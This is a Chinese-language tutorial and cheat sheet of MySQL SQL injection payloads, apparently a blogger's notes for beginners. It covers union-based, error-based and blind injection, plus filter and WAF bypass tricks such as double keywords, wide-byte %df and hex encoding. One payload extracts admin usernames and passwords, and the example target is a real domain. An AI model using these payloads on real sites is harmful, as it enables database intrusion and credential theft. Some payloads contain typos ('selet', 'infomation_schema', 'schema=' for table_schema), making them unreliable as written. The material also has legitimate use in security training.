About SQL Injection
About SQL Injection
SQL注入分为好多类,但是个人见解,只有盲注以及非盲注的差距,无非就是过滤的东西不同,以下是我的理解,仅供参考。
基础篇
> 1. 非盲注
由于有回显,所以一切都很好办,只是看你的思路了。
在参数后面跟上单引号或者双引号,查看页面返回结果,例如:
www.baidu.com?id=1' or www.baidu.com?id=1"
对于返回的页面进行判断,是否于原页面有差距,是否有报错产生。之后再进行整型或浮点型的判断。
?id=1 and 1=2 or ?id=1' and 1=2
- 使用联合查询在回显位进行判断所查询出的数据。
n在这里表示它所查询的位数,根据实际情况进行增添。之后就可以进行查库,表,字段,数据等等。对应payload:?id=1+order+by+n+--+
版本:?id=1+union+selet+1,version(),3,4,5+--+
表名:id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where schema=database()--+
列名:id=-1 union select 1,group_concat(column_name),3,4,5 from infomation_schema.columns where table_name=表名
浮点型同上,只是需要对单引号/双引号进行闭合。
- 报错注入。
直接上payload.
updatexml(有长度限制,最多32位)
id=15 and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
floor
?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
ExtractValue(有长度限制,最长32位)
?id=1+and extractvalue(1, concat(0x7e, (select @@version),0x7e))
?id=1+and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))
2. > 盲注
由于盲注无回显,所以基本都是采用猜的方法,进行比较判断来得出结果,建议结合脚本进行,因为猜测的范围大,人工的话,怕是你要累死。
- 使用大于号or小于号比较
mysql比较字符串的时候不是比较长短,而是从第一个字符开始比较,相同相等,遇到不同就比较出来了a<b<c,根据ascii码比较的 abcd<abcde,abcd<b,所以payload就可以利用这个。
?id=16 and (database()>'z')
- 使用like
mysql内置函数like可以用来进行字符判断,如果相等,页面正常回显,否则无回显。
select * from content where id=16 and (select user() like 'r%')
- 使用substr
MySQL 字符串截取函数:left(), right(), substring(), substring_index()。还有 mid(), substr()。其中,mid(), substr() 等价于 substring() 函数,substring() 的功能非常强大和灵活。
select left(user(),3)
select right(user(),3)
select substr(user(),1,1)
- 使用if跟sleep
myslq内置函数sleep跟if组合使用,判断页面回显的时间,来确定字符或者判断注入点。
select * from content where id=16 and (if(database()>'z',1,sleep(2)))
小结
mysql盲注不管是基于bool型还是时间型,都是通过判断页面是否正常显示来确定自己的payload是否生效的,一个一个的对库,表,列进行猜测,根据实际情况,看看过滤了什么,来决定使用什么方式进行注入,实践出真知。
技巧
- 如果把函数过滤了,替换为空,可以尝试selselectect这样的方式去写(双关键字绕过)。
- /**/ ,%a0,%b0,%c0,%d0表示空格,+,(),%20都是空格,两个空格代替一个空格,用Tab代替空格
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。select(user())from dual where(1=1)and(2=2)
- –+,/*,#都是注释
- 如果对单引号,双引号使用\进行转义,可以尝试宽字节注入%df,再参数值部分过滤引号或者进行限制,可以使用16进制去替换参数值。
- 如果对逗号进行限制,可以使用from to或者from for来绕过。
select substr(database() from 1 for 1)
- 在limit中如果碰到逗号限制,可以使用offset。
select * from news limit 1 offset 0
- 如果过滤了比较符<>,可以使用greatest代替。
select substr(database(),1,1)>'a' select greatest(substr(database(),1,1),'a')='a' 这两句效果一样
- 过滤了=,可以使用like去代替。
- or跟and被限制,可以绕过and=&& or=||
- 编码绕过:URLEncode编码,ASCII,HEX,unicode编码
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
- binary可以判断大小写
对于小白来说这些还是有效果的,如果有大佬有更好的指导建议,请@我。